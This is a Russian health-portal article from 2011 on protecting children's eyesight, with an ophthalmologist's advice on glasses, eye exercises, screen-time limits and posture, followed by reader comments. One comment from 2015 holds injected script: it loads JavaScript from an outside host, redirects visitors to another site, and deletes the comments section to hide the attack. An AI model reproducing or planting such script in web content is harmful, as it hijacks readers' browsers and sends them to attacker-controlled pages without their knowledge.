Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как сохранить детское зре...  >>  Как сохранить детское зрение
 
Обратная связь
 

Как сохранить детское зрение

Размер шрифта
06 сентября 2011 07:10
  • google_analytics: false
  • Нравится

Проблемы со зрением не знают возрастных ограничений: очки может носить и первоклассник и пенсионер. Но могут ли очки улучшить остроту взгляда? Можно ли вообще улучшить зрение без операции?


Виктор Миронов/ «Здоровье инфо»

При дальнозоркости очки могут улучшить зрение, а при близорукости – остановить ее прогрессирование, – рассказала порталу «Здоровье инфо» специалист МНТК «Микрохирургия глаза» им академика С. Н Федорова, постоянный участник Всероссийской информационно-пропагандистской оздоровительной акции «Волна здоровья», врач – офтальмолог Людмила Потапова.

Таким образом, очки очень важно носить, уже начиная с детского возраста. К сожалению, родители нередко выступают против этого, руководствуясь позицией «один раз надел, уже не снимет». А ведь все наоборот – не стал вовремя носить очки, зрение ухудшилось и в дальнейшей жизни без них уже никак. И особенно пристально должны к этому относиться родители, у которых проблемы со зрением, особенно близорукость. Дело в том, что близорукость передается по наследству и если один или оба родителя близоруки, то есть большой шанс на то, что близоруким будет и ребенок.

Если у родителей со зрением все в порядке, то нужно обращать внимание на поведение ребенка во время чтения или просмотра телевизора: щурится ли он и как низко наклоняется. Это поможет вовремя выявить проблемы со зрением и начать их лечение.

Естественно очки – это не панацея. Значительную роль в улучшении зрения играет гимнастика для глаз. Одним из факторов, которые может усугубить проблемы со зрением, является слабый кровоток в шее. Если его улучшить, то и на зрении это скажется благотворно. Тут поможет массаж шейно-воротниковой зоны.

Особое значение имеет регулярная зарядка для глаз, которая может улучшить остроту зрения. Делать ее нужно регулярно, а включать в себя такая зарядка может:

  1. Вертикальное движение глаз (вверх-вниз)

  2. Горизонтальное движение (справа – налево)

  3. Интенсивное моргание

  4. Круговые движения глаза

  5. Работа «на расстояние». Она заключается в переводе глаз с близкой детали на дальние детали.

Эти несложные упражнения помогут сохранить зрение. Особенно это важно для детей, ведь сегодня детская близорукость получает все большее распространение, что связано с чрезмерным увлечением телевизором и работой за компьютером. По словам Потаповой, в некоторых азиатских странах (Южная Корея) близорукостью страдают уже почти 100% ребят школьного возраста.

Помните, что лучше уделять внимание профилактике, чем потом водить ребенка к специалистам. Вот чему стоит уделять внимание:

  • Компьютер и телевизор. Дошкольник не должен смотреть в экран дольше, чем 20-30 минут в день.
  • Не более 30 минут нагрузки на глаза. Каждые полчаса, в процессе чтения или выполнения ребенком домашнего задания следует делать зарядку для глаз.
  • Правильная поза. Очень важно, чтобы ребенок сидел правильно. Спина должна быть прямой, а ноги стоять на полу. И не забывайте о расстоянии: до монитора расстояние должно быть не менее 70 см, а до книги не менее 30 см.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

08 февраля 2012 в 00:02

Комментарий удален за нарушение Правил общения

2 - zzzzzz

01 июля 2015 в 00:08

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Магниты убивают детей! Как их защитить?   Хотите поразить людей – не заморачивайтесь о том, что снизу. Люди видят только верх!   Как понять, что у вашего ребенка проблемы со зрением   Хорошее зрение для отличных знаний  
26 октября 2011Близорукость у ребенка? Отправляйтесь на прогулку 23 сентября 2011Физкультура до добра не доводит?
 
03 октября 2013Результаты благотворительного марафона «Всем миром» 17 июля 2013Будет ли ваш ребенок толстым – теперь это можно понять уже в 2 месяца!
 

Слайдшоу

1
Можно ли пережить беременность без рвоты?
Убийцы в вашей ванной
Можно ли подгадать с беременностью?

Тесты

1
Что вы знаете о грудном вскармливании?
Что вы знаете об СДВГ?
Проверьте свое зрение
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.